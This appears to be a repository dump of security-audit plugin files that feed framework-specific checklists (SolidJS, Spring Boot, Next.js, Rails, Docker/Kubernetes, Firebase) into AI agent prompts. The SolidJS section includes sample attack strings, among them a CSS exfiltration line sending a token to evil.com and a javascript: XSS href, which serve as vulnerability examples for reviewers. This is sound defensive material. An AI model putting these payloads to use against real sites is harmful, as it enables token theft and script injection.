2. Per Firebase checklist: don't update libraries without understanding the changes
   - Check changelogs for Firebase SDK updates before upgrading
3. Per Firebase checklist: install watchdog libraries (Snyk, npm audit) as dev dependencies to scan for insecure dependencies
4. Is the Cloud Functions logger SDK used? (`firebase-functions/logger`)
   - Per Firebase checklist: set up monitoring after library updates to detect unusual behavior caused by dependency changes

## logic-race-conditions

**Firestore Transaction Specifics:**
1. Are Firestore transactions used for check-then-update operations?
   - Firestore transactions retry up to 5 times by default on contention — can this be exploited?
   - Is the transaction read set minimal? (reading unnecessary documents increases contention)
2. Does `FieldValue.increment()` provide sufficient atomicity for the use case?
   - Increment is atomic for a single field, but NOT for read-then-conditional-increment patterns
   - If the counter check + increment are separate operations, there's a race window

**Cloud Functions Cold Start Races:**
3. Are there global variables initialized on cold start that could be accessed before initialization completes?
4. If multiple instances start simultaneously, do they race on shared resources? (e.g., initializing a singleton, writing to a shared document)

## logic-dos

**Cloud Functions Scaling (Firebase Checklist):**
1. Per Firebase checklist: configure Cloud Functions to scale for **normal traffic**, not unlimited
   - Is `maxInstances` configured for each function? (prevents runaway scaling and billing attacks)
   - Are `minInstances` set appropriately? (too many wastes money, too few causes cold start latency)
2. Set up alerting to be notified when concurrent instance limits are nearly reached
3. Can an attacker trigger function invocations that scale indefinitely?
4. Are there recursive trigger chains that cause unbounded function invocations?
   - Per Firebase checklist: test with the emulator suite to catch self-DoS patterns before deploying

**Firestore Write Limits:**
5. Firestore batched writes are limited to 500 operations per batch
   - Can an attacker trigger an operation that tries to write > 500 documents? (causes failure)
   - Are batch sizes validated before processing?

6. **Firestore Rate Limits:**
   - Maximum 1 write per second per document — can an attacker trigger rapid writes to the same document to cause failures?
   - Maximum 10,000 writes per second per database — can an attacker approach this via amplification?

**Firebase Auth Rate Limits:**
7. Firebase Auth has built-in rate limits for sign-up, sign-in, and password reset — are there custom endpoints that bypass these by calling Admin SDK directly?
8. Per Firebase checklist: for email-password auth, tighten the default quota on `identitytoolkit.googleapis.com` endpoints to prevent brute force attacks


path: references/plugins/solidjs.md
content: ---
name: SolidJS
detect:
  files: ["src/root.tsx", "src/root.jsx", "src/entry-server.tsx", "src/entry-client.tsx", "app.config.ts", "app.config.js"]
  dependencies: ["solid-js", "solid-start", "@solidjs/router", "@solidjs/meta", "@solidjs/start", "solid-styled-components", "solid-element"]
  keywords: ["SolidJS", "Solid.js", "SolidStart", "Solid Start"]
---

## attack-surface-frontend

**`innerHTML` XSS Audit:**
1. Grep for every instance of `innerHTML` used as a JSX prop in `.tsx`/`.jsx` files
   - SolidJS's `innerHTML` prop injects raw HTML into the DOM with zero sanitization (the Solid equivalent of React's dangerous HTML injection prop)
   - For EACH instance: trace the value to its source — is it user-controlled or from external data (API responses, URL params, database content)?
   - Is the HTML sanitized before assignment? (e.g., DOMPurify, sanitize-html)
   - Check for indirect assignment through signals: `const [html, setHtml] = createSignal(untrusted); <div innerHTML={html()} />`

**JSX Reactive Bypass Patterns:**
2. SolidJS auto-escapes string expressions in JSX, but these patterns bypass it:
   - `innerHTML` prop (the primary XSS vector)
   - Direct DOM manipulation via `ref`: `ref={(el) => { el.innerHTML = userInput }}` — SolidJS refs resolve to raw DOM nodes, making this more natural than in React
   - `onMount`/`createEffect` callbacks that write to `el.innerHTML` or `el.outerHTML`
   - `href` attributes with `javascript:` protocol: `<a href={userInput()}>` where the signal resolves to `javascript:alert(1)` — SolidJS does NOT sanitize `href` values
   - `style` attribute object injection: `<div style={userControlledObject} />` — can inject CSS-based data exfiltration (`background: url(https://evil.com/?token=...)`)
   - Spread operator with user data: `<div {...userProps} />` — attacker can inject `innerHTML`, event handlers (`onClick`, `onError`), or `style` through the spread object
   - `<Dynamic component={userControlledTag}>` — if the tag name is user-controlled, it can render `<script>`, `<iframe>`, or `<object>` elements

**Signal and Store Sensitive Data Leaks:**
3. Search for `createSignal`, `createStore`, and `createMemo` that hold sensitive data (tokens, PII, keys):
   - Signal values are accessible to any component in the reactive graph — can a child or sibling component access sensitive signals it shouldn't?
   - Are stores (`createStore`) containing auth tokens or session data exposed through context providers to the entire component tree?
   - `createRoot` scopes: is sensitive reactive state created outside component boundaries where it persists across navigations?
   - Are signal values serialized during SSR hydration? (SolidStart serializes reactive state — sensitive data in signals may appear in the HTML source)

**Context API Data Exposure:**
4. Grep for `createContext` and `useContext` usage:
   - Is sensitive data (tokens, roles, decrypted secrets) passed through context?
   - Can third-party components nested inside context providers access values they shouldn't?
   - Are context values included in error serialization through `<ErrorBoundary>`?

**`createEffect` and `createResource` Race Conditions:**
5. Review all `createEffect` and `createResource` calls:
   - `createEffect` does NOT automatically clean up async operations — does the effect return a cleanup function via `onCleanup` for in-flight requests?
   - Can a rapid signal change cause `createEffect` to fire with stale closure data before the previous async operation completes?
   - `createResource` with refetching: can a race between two fetches cause stale or wrong data to be rendered? (check for `mutate` calls that optimistically update before the fetch resolves)
   - If `createResource` results update auth/permission state, can a race condition cause a brief window where unauthorized data is visible?
   - Are `createResource` error states handled? Unhandled resource errors may bubble sensitive server details through `<ErrorBoundary>`

**Third-Party Component XSS:**
6. Third-party SolidJS or wrapped non-Solid components that render user data:
   - Rich text editors (TipTap, Lexical ports): do they sanitize output before feeding it back into SolidJS rendering?
   - Markdown renderers (`solid-markdown`): is raw HTML disabled?
   - Components from `solid-element` (custom elements): do they use `innerHTML` internally?
   - Wrapped React components (via `solid-react` or manual wrappers): do they introduce React-specific XSS vectors?

**Error Boundary Information Leaks:**
7. Does `<ErrorBoundary>` expose stack traces or internal data in production?
   - SolidJS `<ErrorBoundary fallback={err => ...}>` passes the raw error object to the fallback — is it rendered to the user?
   - Can a crafted input trigger an error that reveals internal component structure, file paths, or signal dependency graphs?
   - Are error details sent to a logging service or displayed in the UI?

## attack-surface-http

**SolidStart Server Functions (`"use server"`):**
1. Grep for `"use server"` directives in the codebase:
   - Every function marked `"use server"` becomes an RPC endpoint callable from the client — are ALL server functions validating and sanitizing their arguments?
   - **Critical**: Server functions receive serialized arguments from the client — can an attacker craft a malicious payload that bypasses type expectations? (TypeScript types are erased at runtime; no runtime validation unless explicitly added with zod, valibot, etc.)
   - Are server function arguments validated for type, length, and allowed values before use?
   - Can a server function be called out-of-order or with unexpected argument combinations?
   - Are server functions that perform mutations protected with CSRF tokens or SameSite cookies?
2. **Server function data exposure:**
   - Do server functions return more data than the client needs? (entire database rows when only a name is required)
   - Are server-only secrets (API keys, database credentials) accidentally closured into server functions that serialize return values?
   - Does the server function error path leak internal error messages, stack traces, or database query details to the client?

**SolidStart API Routes:**
3. Check `src/routes/api/` or route files with API handler exports:
   - Are API route handlers validating `Content-Type`, HTTP methods, and request body schemas?
   - Are CORS headers configured correctly? (Grep for `Access-Control-Allow-Origin: *` in middleware or route handlers)
   - Are API routes behind authentication middleware, or can unauthenticated clients access them?

**SSR Hydration Data Exposure:**
4. During SSR, SolidStart serializes component state into the HTML for client hydration:
   - **High**: Is sensitive data (tokens, internal IDs, admin flags, PII) present in signals or stores during SSR? It will be embedded in the HTML `<script>` tags as serialized state
   - Grep for `isServer` checks — are there code paths that include sensitive server-side data in the render only because an `isServer` guard is missing?
   - Check `createServerData$` / `routeData` / `cache` / `createAsync` return values — do they include fields that should remain server-only?

## config-infrastructure

**SolidStart Environment Variable Exposure:**
1. Grep for `import.meta.env` and `process.env` usage:
   - **Critical**: In Vite-based SolidStart, any env var prefixed with `VITE_` is bundled into client JavaScript and visible to all users — are secrets accidentally prefixed with `VITE_`?
   - Check `app.config.ts` / `vite.config.ts` for custom `envPrefix` that might expose more variables
   - Are server-only environment variables accessed only inside `"use server"` functions or server-only modules?
   - Is `.env` in `.gitignore`? Are `.env.local`, `.env.production` files committed?

**SolidStart Middleware and Server Configuration:**
2. Check middleware configuration (`src/middleware.ts` or `middleware` in `app.config.ts`):
   - Are security headers set? (`X-Content-Type-Options`, `X-Frame-Options`, `Content-Security-Policy`, `Strict-Transport-Security`)
   - Is there rate limiting on server functions and API routes?
   - Are session cookies configured with `HttpOnly`, `Secure`, `SameSite=Strict`?

**Build Output Inspection:**
3. If a built output exists (`.output/`, `dist/`):
   - Do client bundles contain server-only code that was tree-shaken incorrectly?
   - Are source maps deployed to production? (they reveal the full source code)
   - Are server modules accidentally included in the client bundle? (check for database drivers, secret managers, or server SDK imports in client chunks)

## dependency-audit

**SolidJS Ecosystem Supply Chain:**
1. Check for known vulnerable versions of SolidJS ecosystem packages:
   - `solid-js` versions < 1.6 had hydration mismatch issues that could cause client/server state divergence
   - `@solidjs/router` — are route parameters sanitized before use in server functions or data fetching?
   - Third-party SolidJS UI libraries: are they actively maintained? Do they use `innerHTML` internally?
2. Adapter security for SolidStart:
   - Which deployment adapter is used (`@solidjs/start` with node, netlify, cloudflare, etc.)?
   - Are adapter-specific security headers and configurations applied?
   - Is the adapter version current? Older adapters may have request parsing vulnerabilities


path: references/plugins/spring-boot.md
content: ---
name: Spring Boot (Java)
detect:
  files: ["pom.xml", "build.gradle", "build.gradle.kts"]
  dependencies: ["spring-boot-starter-web", "spring-boot-starter-security", "spring-framework"]
  keywords: ["Spring Boot", "Spring", "Java"]
---

## recon-agent

**Spring Boot Discovery:**
1. Glob for `**/application.yml`, `**/application.properties`, `**/application-*.yml`, `**/application-*.properties` — these contain runtime configuration per profile
2. Glob for `**/SecurityConfig.java`, `**/WebSecurityConfig*`, `**/*SecurityConfiguration*` — security filter chain definitions
3. Check for `management.endpoints.web.exposure.include` in properties — this controls which Actuator endpoints are exposed
4. Check for `@Profile` annotations that conditionally enable/disable security

## attack-surface-http

**Spring MVC / WebFlux Entry Points:**
1. Grep for `@GetMapping`, `@PostMapping`, `@PutMapping`, `@DeleteMapping`, `@PatchMapping`, `@RequestMapping` — these define all HTTP endpoints
   - For each: is `@PreAuthorize`, `@Secured`, or `@RolesAllowed` present?
   - Are there endpoints missing security annotations that should have them?
2. **SpEL Injection:**
   - Grep for `@Value("${...}")` and `@PreAuthorize("...")` with user-controlled expressions
   - If `SpelExpressionParser` is used directly: is the input sanitized before evaluation?
   - Can an attacker inject SpEL via `@PathVariable`, `@RequestParam`, or `@RequestBody` values that are used in expression evaluation?
3. **Mass Assignment / Autobinding:**
   - Are `@ModelAttribute` or `@RequestBody` used to directly bind JSON/form data to JPA entities?
   - Is `@JsonIgnore` or `@JsonProperty(access = READ_ONLY)` used on sensitive fields (id, role, isAdmin)?
   - Can an attacker send extra fields that get bound to the entity and persisted?
4. **Path Traversal via `@PathVariable`:**
   - Are path variables used in file operations without sanitization?
   - Does `ResourceHttpRequestHandler` serve static files from configurable paths?
5. **Deserialization:**
   - Is `ObjectMapper` configured to restrict polymorphic deserialization? (`activateDefaultTyping` is dangerous)
   - Are there endpoints accepting `application/xml` that use JAXB or Jackson XML? (XXE risk)
   - Grep for `@RequestBody Object` or `@RequestBody Map` — loose typing enables injection

## attack-surface-authz

**Spring Security Filter Chain:**
1. Read the SecurityFilterChain / WebSecurityConfigurerAdapter configuration
   - Is `.permitAll()` applied too broadly? (e.g., `/**` patterns before specific restrictions)
   - Is `.authenticated()` or `.hasRole()` applied to all sensitive endpoints?
   - Does the filter chain order matter? Are custom filters inserted at the right position?
2. **Method-Level Security:**
   - Is `@EnableMethodSecurity` (or `@EnableGlobalMethodSecurity`) active?
   - Are there service methods missing `@PreAuthorize` that modify sensitive data?
   - Can SpEL expressions in `@PreAuthorize` be bypassed? (e.g., `#id == principal.id` — does it handle null safely?)
3. **CSRF Configuration:**
   - Is CSRF protection disabled? (`http.csrf().disable()` or `http.csrf(csrf -> csrf.disable())`)
   - If disabled, is the app stateless JWT only? (CSRF not needed for purely token-based auth)
   - If enabled, are there endpoints excluded from CSRF that shouldn't be?

## config-infrastructure

**Actuator Exposure:**
1. Check if Spring Boot Actuator is on the classpath (Grep for `spring-boot-starter-actuator` in pom.xml/build.gradle)
2. If present:
   - Is `management.endpoints.web.exposure.include=*`? (exposes ALL actuator endpoints including `/env`, `/heapdump`, `/beans`)
   - Is `/actuator/env` exposed? It reveals all environment variables including secrets
   - Is `/actuator/heapdump` exposed? It contains a JVM heap dump with in-memory secrets
   - Is `/actuator/shutdown` exposed? It can remotely stop the application
   - Is the management port different from the application port? (`management.server.port`)
   - Are actuator endpoints behind authentication?
3. **Thymeleaf Server-Side Template Injection (SSTI):**
   - If Thymeleaf is used: are there templates that include user-controlled content via `th:utext` (unescaped)?
   - Can an attacker inject Thymeleaf expressions via `__${...}__` preprocessing?
   - Is fragment injection possible via URL path manipulation?
4. **Spring Profiles:**
   - Is `spring.profiles.active` configurable via environment? Can an attacker switch to a dev/debug profile?
   - Does the `dev` or `test` profile disable security features that are enabled in `prod`?
   - Are there profile-specific properties that weaken security (e.g., `debug=true`, `logging.level.root=DEBUG`)?
5. **H2 Console:**
   - Is the H2 database console enabled? (`spring.h2.console.enabled=true`)
   - Is it accessible in production? (provides direct SQL access to the database)

## dependency-audit

**Spring-Specific Dependency Concerns:**
1. Check Spring Boot version against known CVEs (Spring4Shell CVE-2022-22965, Spring Cloud Function SpEL injection CVE-2022-22963)
2. Is `jackson-databind` updated? (frequent CVEs in polymorphic deserialization)
3. Is `log4j-core` present? Check version for Log4Shell (CVE-2021-44228)
4. Is `snakeyaml` updated? (deserialization vulnerabilities in older versions)
5. Are `spring-boot-devtools` excluded from production builds?


path: references/plugins/nextjs.md
content: ---
name: Next.js
detect:
  files: ["next.config.js", "next.config.mjs", "next.config.ts"]
  dependencies: ["next"]
  keywords: ["Next.js", "NextJS"]
---

## attack-surface-http

**API Routes and Route Handlers:**
1. Next.js API routes (`pages/api/` or `app/*/route.ts`) have NO built-in auth middleware — auth must be explicitly checked in every handler
   - Grep for all `export async function GET/POST/PUT/DELETE/PATCH` in `app/**/route.ts` and `export default function handler` in `pages/api/`
   - For EACH route handler: is auth verified before processing? (no global middleware like Express)
   - Are there API routes that accidentally became public because auth was forgotten?

2. **Server Actions Input Validation:**
   - Grep for `"use server"` directive in files and functions
   - Server Actions receive form data directly — is every input validated and typed?
   - Can a client call a server action with unexpected parameters? (server actions are accessible as POST endpoints)
   - Is the `action` attribute on forms pointing to the correct server action? Can it be manipulated?

3. **Route Handler Parameter Injection:**
   - Do route handlers read `params` from dynamic segments (`[id]`, `[...slug]`)?
   - Are dynamic params validated? (e.g., `params.id` used directly in a database query)
   - Can path traversal via `[...slug]` segments reach unintended resources?

4. **Middleware Bypass:**
   - Read `middleware.ts`/`middleware.js` if it exists
   - Does middleware protect all routes that need it? Check the `matcher` config
   - Can requests to `/_next/` paths bypass middleware? (Next.js internal paths are often excluded)
   - Can requests with unusual headers or methods bypass middleware matching?
   - Are there routes that should be protected but aren't matched by the middleware pattern?

## attack-surface-frontend

**Server Component vs Client Component Data Leaking:**
1. Server Components can access server-side data (databases, secrets, env vars) that should never reach the client
   - Are there Server Components that pass sensitive data as props to Client Components? (this serializes the data to the client bundle)
   - Grep for `"use client"` — components below this boundary receive serialized props
   - Are database query results or internal API responses being passed from Server to Client components without filtering sensitive fields?

2. **`use server` Directive Misuse:**
   - Are there functions marked `"use server"` that expose internal data in their return values?
   - Can a client call a server action and receive data they shouldn't see?
   - Are server action error messages revealing internal details?

3. **Hydration Mismatch Data Exposure:**
   - If server-rendered HTML contains different data than the client hydration, can this expose data?
   - Are there conditional rendering patterns (`typeof window !== 'undefined'`) that show different content on server vs client?
   - Could a mismatch cause server-only data to be included in the initial HTML but not intended for client display?

4. **Client-Side Router Security:**
   - Can the client-side router be manipulated to access routes that should be server-protected?
   - Are there `router.push()` calls with user-controlled destinations? (open redirect)
   - Is `useSearchParams()` used with unsanitized values in rendering? (reflected XSS)

## config-infrastructure

**`next.config.js` Security:**
1. Read `next.config.js`/`next.config.mjs`/`next.config.ts` and check:
   - **Security headers**: Are `Content-Security-Policy`, `X-Frame-Options`, `Strict-Transport-Security` configured in `headers()`?
   - **`poweredBy`**: Is `x-powered-by` disabled? (`poweredBy: false` in config)
   - **`reactStrictMode`**: Is strict mode enabled? (helps catch unsafe lifecycle patterns)

2. **Image Optimization SSRF:**
   - Check `images.remotePatterns` or `images.domains` in config
   - Are remote patterns overly broad? (e.g., `{ protocol: 'https', hostname: '**' }` allows SSRF via `/_next/image?url=`)
   - Can an attacker use the image optimization endpoint to probe internal services?

3. **Rewrites and Redirects:**
   - Check `rewrites()` and `redirects()` in config
   - Can rewrite destinations be influenced by user input? (SSRF via rewrite proxy)
   - Are there open redirects in the `redirects()` configuration? (wildcard path parameters forwarded to destination)
   - Do `beforeFiles` rewrites bypass API route auth?

4. **Server Actions Configuration:**
   - Is `serverActions.bodySizeLimit` configured? (default is 1MB — can an attacker send huge payloads?)
   - Are `serverActions.allowedOrigins` restricted? (prevents CSRF on server actions)

5. **Environment Variable Exposure:**
   - Variables prefixed with `NEXT_PUBLIC_` are exposed to the client bundle
   - Are there `NEXT_PUBLIC_` variables that contain sensitive data? (API keys, secrets)
   - Could renaming a variable to add `NEXT_PUBLIC_` accidentally expose it?


path: references/plugins/ruby-rails.md
content: ---
name: Ruby on Rails
detect:
  files: ["Gemfile", "config/routes.rb", "config/application.rb"]
  dependencies: ["rails", "actionpack", "activerecord", "actioncable"]
  keywords: ["Rails", "Ruby on Rails"]
---

## recon-agent

**Rails Discovery:**
1. Read `config/routes.rb` — maps all HTTP endpoints with their controller actions
2. Glob for `config/initializers/*.rb` — security-relevant initializers (CORS, session, auth)
3. Check `config/environments/production.rb` vs `config/environments/development.rb` for security differences
4. Glob for `app/models/*.rb` and check for `has_secure_password`, custom validations

## attack-surface-http

**Controller Vulnerabilities:**
1. Grep for `params.permit` and `params.require` — these define strong parameters
   - Are there controllers using `params.permit!` (permit ALL parameters)? This is mass assignment
   - Are there actions that use `params[:key]` directly without going through strong parameters?
   - Can an attacker add `admin`, `role`, or `id` to permitted parameters?
2. **Unsafe Rendering:**
   - Grep for `render inline:`, `render text:`, `render html:` with user input — SSTI/XSS risk
   - Grep for `raw`, `html_safe`, `sanitize` in views — these bypass HTML escaping
   - Are there ERB templates using `<%= raw ... %>` or `<%== ... %>` (unescaped output)?
3. **Open Redirects:**
   - Grep for `redirect_to params[` — user-controlled redirect destination
   - Is `redirect_to` used with `allow_other_host: true`? (allows external redirects)
4. **File Sending:**
   - Grep for `send_file`, `send_data` — are paths user-controlled?
   - Is `ActiveStorage` configured with proper access controls?

## attack-surface-authz

**Authorization Patterns:**
1. Check which authorization library is used (Pundit, CanCanCan, custom):
   - Pundit: Are there controllers missing `authorize` or `policy_scope` calls?
   - CanCanCan: Is `load_and_authorize_resource` used consistently? Are there `skip_authorization` calls?
2. **`before_action` Filters:**
   - Are auth filters applied via `before_action` in `ApplicationController`?
   - Are there controllers with `skip_before_action :authenticate_user!` that shouldn't have it?
   - Can filter ordering be exploited? (filters run in definition order)
3. **IDOR via ActiveRecord:**
   - Are there `Model.find(params[:id])` calls without scoping to the current user?
   - Should it be `current_user.models.find(params[:id])` instead?

## config-infrastructure

**Rails Security Configuration:**
1. **Secret Management:**
   - Is `Rails.application.credentials` or `Rails.application.secrets` used?
   - Is `config/master.key` or `config/credentials.yml.enc` committed? (master.key should NOT be committed)
   - Is `SECRET_KEY_BASE` set in production? (missing = session forgery)
2. **CSRF Protection:**
   - Is `protect_from_forgery with: :exception` enabled in `ApplicationController`?
   - Are there controllers with `skip_forgery_protection` or `protect_from_forgery with: :null_session` that serve HTML forms?
3. **Content Security Policy:**
   - Check `config/initializers/content_security_policy.rb`
   - Is CSP configured? Are there `unsafe-inline` or `unsafe-eval` directives?
4. **Cookie Configuration:**
   - Check `config/initializers/session_store.rb`
   - Is `secure: true` set for production cookies?
   - Is `httponly: true` set? Is `same_site: :lax` or `:strict` set?
5. **ActionCable:**
   - If ActionCable is used: check `config/environments/production.rb` for `allowed_request_origins`
   - Is the WebSocket origin check restrictive? (setting it to `[/http:\/\/*/]` allows any origin)
   - Are channel subscriptions authenticated?

## dependency-audit

**Rails-Specific Dependency Concerns:**
1. Check Rails version for known CVEs (deserialization, SQL injection, path traversal)
2. Is `rack` updated? (frequent header parsing and DoS vulnerabilities)
3. Are `nokogiri` and `loofah` updated? (HTML/XML parsing vulnerabilities)
4. Is `devise` (if used) updated? (authentication bypass vulnerabilities)
5. Is `brakeman` configured as a development dependency? Review any existing Brakeman output


path: references/plugins/docker-kubernetes.md
content: ---
name: Docker / Kubernetes
detect:
  files: ["Dockerfile", "docker-compose.yml", "docker-compose.yaml", "k8s", "kubernetes", "helm"]
  dependencies: ["dockerode", "@kubernetes/client-node", "kubernetes"]
  keywords: ["Docker", "Kubernetes", "K8s", "Container"]
---

## recon-agent

**Container/Orchestration Discovery:**
1. Glob for `**/Dockerfile*`, `**/.dockerignore`, `**/docker-compose*.yml`, `**/docker-compose*.yaml`
2. Glob for `**/k8s/**`, `**/kubernetes/**`, `**/helm/**`, `**/charts/**`, `**/*.helm`
3. Glob for `**/kustomization.yaml`, `**/kustomization.yml`
4. Check for container registry references in CI/CD configs
5. Check for Kubernetes secrets, configmaps, service accounts in manifests

## config-infrastructure

**Dockerfile Security:**
1. **Base Image:**
   - Is the base image pinned to a specific digest? (tag-only like `node:18` can be overwritten)
   - Is the base image from a trusted registry? (Docker Hub, GCR, ECR, etc.)
   - Is the base image minimal? (`alpine`, `distroless`, `scratch` vs full `ubuntu`/`debian`)
   - Is the base image up to date? Check for known CVEs in the base image
2. **Running as Root:**
   - Is there a `USER` instruction to drop from root? (default is root)
   - If no `USER` instruction: the container runs as root, and a container escape gives root on the host
   - Is the user created with minimal capabilities?
3. **Secrets in Image:**
   - Are secrets copied into the image via `COPY` or `ADD`? (`.env`, credentials, keys)
   - Are secrets passed via `ARG` instructions? (`ARG` values are stored in image layers and visible with `docker history`)
   - Is `.dockerignore` configured to exclude `.env`, `.git`, `node_modules`, credentials?
   - Are multi-stage builds used to avoid leaking build-time secrets into the final image?
4. **Layer Secrets:**
   - Even if a secret file is deleted in a later layer, it exists in earlier layers
   - Are `--mount=type=secret` build secrets used instead of `COPY`+`RUN`+`rm`?
5. **HEALTHCHECK:**
   - Is a HEALTHCHECK defined? (without one, orchestrators can't detect unhealthy containers)
6. **Exposed Ports:**
   - Are only necessary ports exposed? (`EXPOSE` documents intent but doesn't restrict access)

**Docker Compose Security:**
7. **Privileged Mode:**
   - Is any service running with `privileged: true`? (full host access — container escape trivial)
   - Are `cap_add` capabilities minimized? (`SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE` are dangerous)
   - Is `cap_drop: [ALL]` used with only necessary capabilities added back?
8. **Network Isolation:**
   - Are services on separate networks? (frontend/backend separation)
   - Can the frontend container directly reach the database? (should only be accessible to backend)
9. **Volume Mounts:**
   - Is the Docker socket (`/var/run/docker.sock`) mounted? (host escape via Docker API)
   - Are host paths mounted that contain sensitive data? (`/etc`, `/root`, `/home`)
   - Are volumes read-only where possible? (`:ro` flag)
10. **Environment Variables:**
    - Are secrets passed via `environment:` in docker-compose? (visible in `docker inspect`)
    - Are Docker secrets or external secret managers used instead?

**Kubernetes Security:**
11. **Pod Security:**
    - Is `runAsNonRoot: true` set in the security context?
    - Is `readOnlyRootFilesystem: true` set?
    - Is `allowPrivilegeEscalation: false` set?
    - Are `capabilities` dropped? (`drop: [ALL]` with only necessary capabilities added)
12. **RBAC:**
    - Are ServiceAccounts using the default SA? (default SA often has too many permissions)
    - Are Roles/ClusterRoles following least privilege?
    - Are there `ClusterRoleBinding`s granting `cluster-admin` to application service accounts?
13. **Secrets Management:**
    - Are Kubernetes Secrets encrypted at rest? (`EncryptionConfiguration`)
    - Are secrets mounted as files rather than environment variables? (env vars leak in logs/debug)
    - Is an external secrets operator used? (Vault, AWS Secrets Manager, etc.)
14. **Network Policies:**
    - Are NetworkPolicies defined? (without them, all pods can communicate with all pods)
    - Is egress restricted? (prevent data exfiltration from compromised pods)
15. **Resource Limits:**
    - Are CPU and memory limits set? (prevent a single pod from starving the cluster)
    - Are there `LimitRange` and `ResourceQuota` objects for namespaces?
16. **Image Security:**
    - Is `imagePullPolicy: Always` set? (prevents using stale cached images)
    - Are image registries restricted via admission controllers?
    - Is there an image scanning webhook? (Trivy, Snyk Container, etc.)

## dependency-audit

**Container Dependency Concerns:**
1. Check Docker base image for known CVEs (if Trivy, Grype, or Snyk is available, note existing scan results)
2. Are pinned image digests used for reproducible builds?
3. Check Kubernetes manifest versions — are deprecated APIs used? (`extensions/v1beta1`, `apps/v1beta1`)
4. Are Helm chart dependencies from trusted registries?


path: references/plugins/README.md
content: # Security Analyst Plugins

Framework and infrastructure-specific security checks that are automatically loaded when the target project uses a matching technology.

## How Plugins Work

1. After the recon agent maps the codebase, the orchestrator scans this directory for `*.md` files (excluding this README)
2. Each plugin's `detect` frontmatter is checked against the recon step files and project files
3. Matching plugins have their agent-specific sections extracted and appended to the relevant agent prompts via the `{PLUGIN_CHECKS}` placeholder
4. Agents receive only the plugin sections relevant to their focus area

## Plugin File Format

Each plugin is a single markdown file with YAML frontmatter and sections keyed by agent name.

### Frontmatter Schema

```yaml
---
name: "Human-readable plugin name"
detect:
  files: ["list", "of", "filenames"]         # Match if ANY file exists in the project root
  dependencies: ["package-a", "package-b"]    # Match if ANY dependency appears in step-13-dependencies.md
  keywords: ["Framework", "Platform"]         # Match if ANY keyword appears in step-01-metadata.md
---
```

A plugin matches if **any single** detection criterion hits across any of the three lists. This means a project using Firebase will match even if only `firebase.json` exists.

### Detection Fields

| Field | What It Checks | Example |
|-------|---------------|---------|
| `detect.files` | File existence via Glob in project root | `["firebase.json", ".firebaserc", "firestore.rules"]` |
| `detect.dependencies` | Package names in `step-13-dependencies.md` | `["firebase-admin", "firebase-functions"]` |
| `detect.keywords` | Strings in `step-01-metadata.md` (Framework, Infrastructure, Runtime fields) | `["Firebase", "Cloud Functions"]` |

### Agent Sections

After the frontmatter, add `## {agent-name}` sections for each agent you want to extend. The section name **must** match the agent prompt filename without the `.md` extension.

Available agent section names:

| Section Name | Agent | What to Add |
|-------------|-------|------------|
| `recon-agent` | Reconnaissance | Additional discovery steps (file patterns, config locations) |
| `attack-surface-http` | HTTP Entry Points | Framework-specific endpoint patterns, middleware quirks |
| `attack-surface-authz` | Authorization Rules | Framework-specific access control analysis |
| `attack-surface-frontend` | Frontend & Client-Side | Framework-specific XSS patterns, client-side security |
| `attack-surface-llm` | LLM/AI Security | Framework-specific AI integration patterns |
| `attack-surface-integrations` | External Integrations | Framework-specific API client patterns |
| `git-history-injections` | Injection Variants | Framework-specific injection patterns to hunt |
| `git-history-auth-bypass` | Auth Bypass Variants | Framework-specific auth bypass patterns |
| `git-history-ssrf` | SSRF Variants | Framework-specific SSRF patterns |
| `git-history-data-exposure` | Data Exposure Variants | Framework-specific data leak patterns |
| `logic-race-conditions` | Race Conditions | Framework-specific concurrency patterns |
| `logic-authz-escalation` | Privilege Escalation | Framework-specific privilege escalation vectors |
| `logic-pipeline-exploit` | Pipeline Exploitation | Framework-specific pipeline logic flaws |
| `logic-dos` | Denial of Service | Framework-specific resource limits and amplification |
| `data-flow-tracer` | Data Flow Tracing | Framework-specific data flow patterns |
| `dependency-audit` | Dependency Audit | Framework-specific dependency concerns |
| `config-infrastructure` | Infrastructure Config | Framework-specific configuration security |

Only include sections where you have framework-specific checks to add. Omitted sections are silently skipped.

## Creating a New Plugin

1. Create a new `.md` file in this directory (e.g., `spring-boot.md`)
2. Add frontmatter with `name`, and at least one `detect` criterion
3. Add `## {agent-name}` sections with framework-specific checks
4. Each section should contain actionable security checks in the same style as the base agent prompts:
   - Offensive framing ("Can an attacker...")
   - Specific code patterns to search for
   - Concrete exploit scenarios
   - Framework-specific gotchas and defaults
5. Keep checks focused on what's **unique** to the framework — don't repeat generic checks already in the base agent prompts

## Plugin Overlap and Conflicts

When multiple plugins inject sections for the same agent (e.g., both Next.js and React inject `## attack-surface-frontend`), the orchestrator concatenates all matching sections. Agents should:

- Treat multiple plugin sections as **complementary** checks — run all of them
- If checks conflict, prefer the **more specific** plugin (e.g., Next.js over React for Next.js projects)
- Report the plugin source in findings so the orchestrator can trace which plugin triggered the check

## Available Plugins

| Plugin | Framework/Platform | Sections |
|--------|-------------------|----------|
| `firebase.md` | Firebase / Firestore / Cloud Functions | HTTP, AuthZ, Frontend, Config, Dependency Audit, Race Conditions, DoS |
| `react.md` | React / React Native | Frontend |
| `nextjs.md` | Next.js | HTTP, Frontend, Config |
| `nodejs-express.md` | Node.js + Express | HTTP, Config |
| `python-fastapi.md` | Python + FastAPI | HTTP, Config |
| `python-django.md` | Python + Django | HTTP, AuthZ, Config |
| `secrets-encryption-storage.md` | Database Secrets Encryption | Recon, AuthZ, Config, Data Flow, Race Conditions, Data Exposure History, Dependency Audit |
| `solidjs.md` | SolidJS / SolidStart | Frontend, HTTP, Config, Dependency Audit |
| `owasp-infra-top10.md` | OWASP Top 10 Infrastructure Security Risks | Recon, HTTP, AuthZ, Config, Data Flow, DoS, Race Conditions, Data Exposure History, Dependency Audit |
| `spring-boot.md` | Spring Boot (Java) | Recon, HTTP, AuthZ, Config, Dependency Audit |
| `ruby-rails.md` | Ruby on Rails | Recon, HTTP, AuthZ, Config, Dependency Audit |
| `vuejs-nuxtjs.md` | Vue.js / Nuxt.js | Frontend, HTTP, Config, Dependency Audit |
| `angular.md` | Angular | Frontend, Config, Dependency Audit |
| `go-gin.md` | Go (Gin / Echo / Fiber) | HTTP, AuthZ, Config, DoS, Dependency Audit |
| `graphql.md` | GraphQL (Apollo, Yoga, etc.) | Recon, HTTP, AuthZ, Config, Data Flow, DoS |
| `docker-kubernetes.md` | Docker / Kubernetes | Recon, Config, Dependency Audit |
| `aws-gcp-azure.md` | AWS / GCP / Azure Cloud | Recon, HTTP, Config, Data Flow, Dependency Audit |


path: references/plugins/python-django.md
content: ---
